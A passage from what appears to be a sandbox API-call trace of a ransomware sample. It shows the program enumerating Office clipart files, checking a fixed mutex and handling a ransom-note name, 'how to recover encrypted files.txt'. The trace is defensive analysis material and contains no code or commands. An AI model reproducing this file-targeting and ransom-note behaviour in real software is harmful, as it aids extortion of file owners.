lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.467] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00139_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.467] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0059.467] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.467] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.467] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.467] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.467] GlobalUnlock (hMem=0x44000c) returned 0 [0059.467] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.467] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.467] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.467] GlobalUnlock (hMem=0x44000c) returned 0 [0059.467] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.467] GlobalUnlock (hMem=0x440004) returned 0 [0059.467] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.468] CharLowerBuffW (in: lpsz="AG00142_.GIF", cchLength=0xc | out: lpsz="ag00142_.gif") returned 0xc [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.468] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.468] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0059.468] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.468] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.468] GlobalLock (hMem=0x440004) returned 0x550170 [0059.468] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.468] GlobalUnlock (hMem=0x440004) returned 0 [0059.469] GlobalLock (hMem=0x440004) returned 0x550170 [0059.469] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.469] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.469] GlobalUnlock (hMem=0x440004) returned 0 [0059.469] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.469] GlobalUnlock (hMem=0x44000c) returned 0 [0059.469] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.469] CharLowerBuffW (in: lpsz="AG00154_.GIF", cchLength=0xc | out: lpsz="ag00154_.gif") returned 0xc [0059.469] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.469] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.469] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.469] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.469] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.469] GlobalUnlock (hMem=0x44000c) returned 0 [0059.469] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.469] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.469] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.469] GlobalUnlock (hMem=0x44000c) returned 0 [0059.469] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.469] GlobalUnlock (hMem=0x440004) returned 0 [0059.469] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.469] CharLowerBuffW (in: lpsz="AG00157_.GIF", cchLength=0xc | out: lpsz="ag00157_.gif") returned 0xc [0059.476] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.476] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.476] GlobalLock (hMem=0x440004) returned 0x550170 [0059.476] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.476] GlobalUnlock (hMem=0x440004) returned 0 [0059.476] GlobalLock (hMem=0x440004) returned 0x550170 [0059.476] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.476] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.476] GlobalUnlock (hMem=0x440004) returned 0 [0059.476] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.476] GlobalUnlock (hMem=0x44000c) returned 0 [0059.476] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.476] CharLowerBuffW (in: lpsz="AG00158_.GIF", cchLength=0xc | out: lpsz="ag00158_.gif") returned 0xc [0059.476] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.476] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.476] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.476] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.476] GlobalUnlock (hMem=0x44000c) returned 0 [0059.476] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.476] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.476] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.476] GlobalUnlock (hMem=0x44000c) returned 0 [0059.476] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.476] GlobalUnlock (hMem=0x440004) returned 0 [0059.476] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.477] CharLowerBuffW (in: lpsz="AG00160_.GIF", cchLength=0xc | out: lpsz="ag00160_.gif") returned 0xc [0059.477] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.477] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.477] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.477] GlobalLock (hMem=0x440004) returned 0x550170 [0059.477] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.477] GlobalUnlock (hMem=0x440004) returned 0 [0059.477] GlobalLock (hMem=0x440004) returned 0x550170 [0059.477] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.477] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.477] GlobalUnlock (hMem=0x440004) returned 0 [0059.477] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.477] GlobalUnlock (hMem=0x44000c) returned 0 [0059.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.477] CharLowerBuffW (in: lpsz="AG00161_.GIF", cchLength=0xc | out: lpsz="ag00161_.gif") returned 0xc [0059.477] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.477] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.477] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.477] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.477] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.477] GlobalUnlock (hMem=0x44000c) returned 0 [0059.477] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.477] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.477] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.477] GlobalUnlock (hMem=0x44000c) returned 0 [0059.477] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.477] GlobalUnlock (hMem=0x440004) returned 0 [0059.478] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.478] CharLowerBuffW (in: lpsz="AG00163_.GIF", cchLength=0xc | out: lpsz="ag00163_.gif") returned 0xc [0059.478] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.478] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.478] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.478] GlobalLock (hMem=0x440004) returned 0x550170 [0059.478] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.478] GlobalUnlock (hMem=0x440004) returned 0 [0059.478] GlobalLock (hMem=0x440004) returned 0x550170 [0059.478] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.478] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.478] GlobalUnlock (hMem=0x440004) returned 0 [0059.478] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.478] GlobalUnlock (hMem=0x44000c) returned 0 [0059.478] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.478] CharLowerBuffW (in: lpsz="AG00164_.GIF", cchLength=0xc | out: lpsz="ag00164_.gif") returned 0xc [0059.478] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.478] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.478] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.478] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.478] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.478] GlobalUnlock (hMem=0x44000c) returned 0 [0059.478] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.478] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.478] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.478] GlobalUnlock (hMem=0x44000c) returned 0 [0059.478] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.478] GlobalUnlock (hMem=0x440004) returned 0 [0059.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.479] CharLowerBuffW (in: lpsz="AG00165_.GIF", cchLength=0xc | out: lpsz="ag00165_.gif") returned 0xc [0059.479] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.479] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.479] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.479] GlobalLock (hMem=0x440004) returned 0x550170 [0059.479] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.479] GlobalUnlock (hMem=0x440004) returned 0 [0059.479] GlobalLock (hMem=0x440004) returned 0x550170 [0059.479] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.479] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.479] GlobalUnlock (hMem=0x440004) returned 0 [0059.479] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.479] GlobalUnlock (hMem=0x44000c) returned 0 [0059.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.479] CharLowerBuffW (in: lpsz="AG00167_.GIF", cchLength=0xc | out: lpsz="ag00167_.gif") returned 0xc [0059.479] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.479] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.479] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.479] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.479] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.479] GlobalUnlock (hMem=0x44000c) returned 0 [0059.479] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.479] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.479] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.479] GlobalUnlock (hMem=0x44000c) returned 0 [0059.479] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.480] GlobalUnlock (hMem=0x440004) returned 0 [0059.480] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.480] CharLowerBuffW (in: lpsz="AG00169_.GIF", cchLength=0xc | out: lpsz="ag00169_.gif") returned 0xc [0059.480] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.480] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.480] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.480] GlobalLock (hMem=0x440004) returned 0x550170 [0059.480] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.480] GlobalUnlock (hMem=0x440004) returned 0 [0059.480] GlobalLock (hMem=0x440004) returned 0x550170 [0059.480] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.480] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.480] GlobalUnlock (hMem=0x440004) returned 0 [0059.480] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.480] GlobalUnlock (hMem=0x44000c) returned 0 [0059.480] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.480] CharLowerBuffW (in: lpsz="AG00170_.GIF", cchLength=0xc | out: lpsz="ag00170_.gif") returned 0xc [0059.480] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.480] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.480] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.480] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.480] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.480] GlobalUnlock (hMem=0x44000c) returned 0 [0059.480] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.480] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.480] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.480] GlobalUnlock (hMem=0x44000c) returned 0 [0059.481] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.481] GlobalUnlock (hMem=0x440004) returned 0 [0059.481] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.481] CharLowerBuffW (in: lpsz="AG00171_.GIF", cchLength=0xc | out: lpsz="ag00171_.gif") returned 0xc [0059.481] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.481] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.481] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.481] GlobalLock (hMem=0x440004) returned 0x550170 [0059.481] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.481] GlobalUnlock (hMem=0x440004) returned 0 [0059.481] GlobalLock (hMem=0x440004) returned 0x550170 [0059.481] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.481] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.481] GlobalUnlock (hMem=0x440004) returned 0 [0059.481] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.481] GlobalUnlock (hMem=0x44000c) returned 0 [0059.481] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.481] CharLowerBuffW (in: lpsz="AG00172_.GIF", cchLength=0xc | out: lpsz="ag00172_.gif") returned 0xc [0059.481] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.481] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.481] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.481] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.481] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.481] GlobalUnlock (hMem=0x44000c) returned 0 [0059.481] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.481] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.481] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.481] GlobalUnlock (hMem=0x44000c) returned 0 [0059.482] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.482] GlobalUnlock (hMem=0x440004) returned 0 [0059.482] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.482] CharLowerBuffW (in: lpsz="AG00174_.GIF", cchLength=0xc | out: lpsz="ag00174_.gif") returned 0xc [0059.482] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.482] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.482] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.482] GlobalLock (hMem=0x440004) returned 0x550170 [0059.482] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.482] GlobalUnlock (hMem=0x440004) returned 0 [0059.482] GlobalLock (hMem=0x440004) returned 0x550170 [0059.482] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.482] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.482] GlobalUnlock (hMem=0x440004) returned 0 [0059.482] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.482] GlobalUnlock (hMem=0x44000c) returned 0 [0059.482] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.482] CharLowerBuffW (in: lpsz="AG00175_.GIF", cchLength=0xc | out: lpsz="ag00175_.gif") returned 0xc [0059.482] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.482] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.482] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.482] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.482] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.483] GlobalUnlock (hMem=0x44000c) returned 0 [0059.483] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.483] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.483] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.483] GlobalUnlock (hMem=0x44000c) returned 0 [0059.483] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.483] GlobalUnlock (hMem=0x440004) returned 0 [0059.483] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.483] CharLowerBuffW (in: lpsz="AG00176_.GIF", cchLength=0xc | out: lpsz="ag00176_.gif") returned 0xc [0059.483] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.483] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.483] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.483] GlobalLock (hMem=0x440004) returned 0x550170 [0059.483] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.483] GlobalUnlock (hMem=0x440004) returned 0 [0059.483] GlobalLock (hMem=0x440004) returned 0x550170 [0059.483] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.483] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.483] GlobalUnlock (hMem=0x440004) returned 0 [0059.483] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.483] GlobalUnlock (hMem=0x44000c) returned 0 [0059.483] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.483] CharLowerBuffW (in: lpsz="AN00010_.WMF", cchLength=0xc | out: lpsz="an00010_.wmf") returned 0xc [0059.483] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.483] CreateFileW 